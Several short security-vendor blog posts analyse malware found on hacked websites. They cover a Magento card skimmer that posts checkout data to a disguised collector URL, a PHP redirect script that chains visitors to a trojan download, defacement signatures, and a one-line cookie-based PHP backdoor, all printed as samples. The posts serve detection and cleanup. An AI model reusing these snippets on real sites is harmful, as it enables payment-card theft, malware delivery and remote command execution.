Category: Website Security

We’ve already described several times how credit card stealing malware hides a data collecting script behind an image URL. When people see URLs that end with .jpg, .png, or .gif they normally don’t expect them to do anything malicious. Third-party JavaScripts are much more suspicious, still it is possible to use them in a way to coax webmasters into considering them benign.

When checking yet another credit card stealing JavaScript injected into the /js/ccard.js file in Magento, we noticed this line:

e294b002686cad2df01bb59e3e2299f3e:'hxxps://informaer[.]net/js/info_jquery.js',

JS script in a malicious injection is always suspicious to us. Especially when it has the word jquery in it and some unknown domain (with a typo). When we opened that URL, the only content we found there was:

jQuery.noConflict();

NoConflict() is the function that tells jQuery library to restore the original value of the “$”, which allows you to use other JS libraries that use “$” as a function or variable name alongside with jQuery. The code is definitely benign.

But let’s check how this "informaer" URL is used by the script.

...var http=new XMLHttpRequest();http.open('POST',be20b6410993ea4c7a48767775856514b.e294b002686cad2df01bb59e3e2299f3e,true);http.setRequestHeader('Content-type','application/x-www-form-urlencoded');http.send('info='+keym+'&hostname='+domm+'&key='+be20b6410993ea4c7a48767775856514b.myid);

It turns out that the URL is actually not a static JavaScript file. It’s a server-side script that receives data from filled out checkout forms passed in the info parameter of a POST request. It’s actually the collector of the stolen data. However, if you don’t use the POST method and don’t pass correct parameters, it pretends to be a benign JavaScript. It even sets the Content-Type: application/javascript; charset=utf-8 header to make it look plausible.

Hackers may go an extra mile to make their resources look benign, but as a webmaster you should never rely on what code looks like. Instead, verify whether it belongs to your site or not by answering two questions: 1. Did I put it there? If no then 2. Is this code a part of the third-party software I installed? To answer the second question, compare it to the original third-party software (get it either directly from the developer or from your clean backup copy). If answers to both of these questions are NO then no matter how benign the code looks, most likely it was placed there as a result of the site compromise. Integrity control may help you easily identify such unauthorized code injections.

If malware detection and removal still sound too complex for you, Sucuri is here to help.

Some attackers seem to like signing their scripts. This fact is especially true for defacements and backdoors, where attackers show their pride stating that they “owned” a site by signing their own malware. Sometimes they write their expressions and nicknames on the title or in the middle of the file:

<title>Ow3nd </title><center><div id=q>Your Site Has Been Ow3nd By ...

Or like in this malware sample:

<title>#Pwned</title><p> ... </p><h3> ... ownz you</h3> ...

Or even the classic one:

<title>Hacked by …

We have seen thousands of defacement title variations (and even more backdoor patterns), and still we find new variations every day.

By looking at a file's title, we may be able to tell if a file is malware. Though, most of the times, finding malware requires much deeper scanning, decryption and deobfuscation processes, making the task to be difficult and time consuming. If you don’t use such a scanning and want to make sure you didn’t miss any defacements or backdoors on your server, you can have us scan your site for thousands of different malware patterns.

During an incident response process, we identified some files located at a website’s root folder. Although they had different filenames (post.php, news.php, home.php, etc), they had the same malicious content:

<?php$dom = array('www[.]edgefinance[.]co[.]za','www[.]capitalregioncog[.]org','contas[.]cnt[.]br','boletim[.]contas[.]cnt[.]br','www[.]capitolregionwd[.]org','bolivarcarrillo[.]udem[.]edu[.]ni','foodscience[.]keio[.]ac[.]jp','www[.]keprate[.]com','rosaliarios[.]udem[.]edu[.]ni','www[.]armd-france[.]org','luispalacios[.]udem[.]edu[.]ni','www[.]kepak[.]com','candramustika[.]unja[.]ac[.]id','appserver[.]guabiruba[.]sc[.]gov[.]br','luiscanales[.]udem[.]edu[.]ni','rawahil[.]com','avai[.]com[.]br','boletin[.]ucv[.]edu[.]pe','preview[.]table59[.]co[.]uk','jorgemendoza[.]udem[.]edu[.]ni','apps[.]timeslive[.]co[.]za','www[.]uaec[.]ufcg[.]edu[.]br','jornadasmediterraneas2014[.]atlantacongress[.]org','www[.]inmune[.]cl','www[.]dees-groep[.]nl','sporternaehrung[.]global-nutrition[.]de','www[.]afonsolopes[.]com','geomorfo[.]criba[.]edu[.]ar','wordpress[.]hockeyreno[.]com','ideation[.]attero[.]in');
$url = 'hXXp://'.$dom[mt_rand(0,sizeof($dom)-1)].'/file.php';if (strlen($_SERVER["QUERY_STRING"])>1) {$file=@file_get_contents($url.'?aaaa');header ("Content-Type: image/jpeg");echo $file;} else {header('Location: '.$url);}exit;?>

This kind of malicious code is very familiar to us. It is part of a malicious campaign where different sites are used as a redirect chain that’ll lead to the spam or malware page. This technique is used as an evasion method allowing the attacker to keep a fresh site (not blacklisted) at the end of the chain.

The code, when accessed, will test if the $_SERVER["QUERY_STRING"] is bigger than 1, meaning that if no parameter is passed, it’ll load some image from the url. However, if any parameter is passed to the  file.php, it’ll redirect the browser, proceed onto the download of a doc.google.com file, which is a trojan expected to be executed in Windows machines. You can find more information about that trojan file here.

If you are experiencing such redirects, this could be the reason why. We highly recommend checking your site against our free scanner Sitecheck, and if you need any help identifying and cleaning it up, you can let us know.

Backdoors evolve. They tend to get more complex, harder to understand and harder to decode, but this is not always the case.

Most of the backdoors rely on PHP-enabled engine options that allow execution of commands. Also, those options depend on some of the core functionalities of most of the CMS systems out there.

The case today was different. The backdoor was so tiny that by overlooking some of the file names on your website you can easily miss it.

<?php if (isset($_COOKIE["i5o8vz"])) @$_COOKIE["cmd"]($_COOKIE["i5o8vz"]);

It is a really simple, yet powerful backdoor. The attacker who placed it on your website sets his cookie so he can execute the command in the payload of the cookie, and as we know, setting a cookie is a piece of a cake. Also, $_COOKIE or $_POST variables are used as a “cloaking method” once they are not logged by default on access_logs, like $_GET, making it harder to detect anomalies when inspecting logs.

If you notice some suspicious activity on your website, or it is sending SPAM on its own, or even if you have been blacklisted by the major search engines, you can rely on us to clean and protect your website.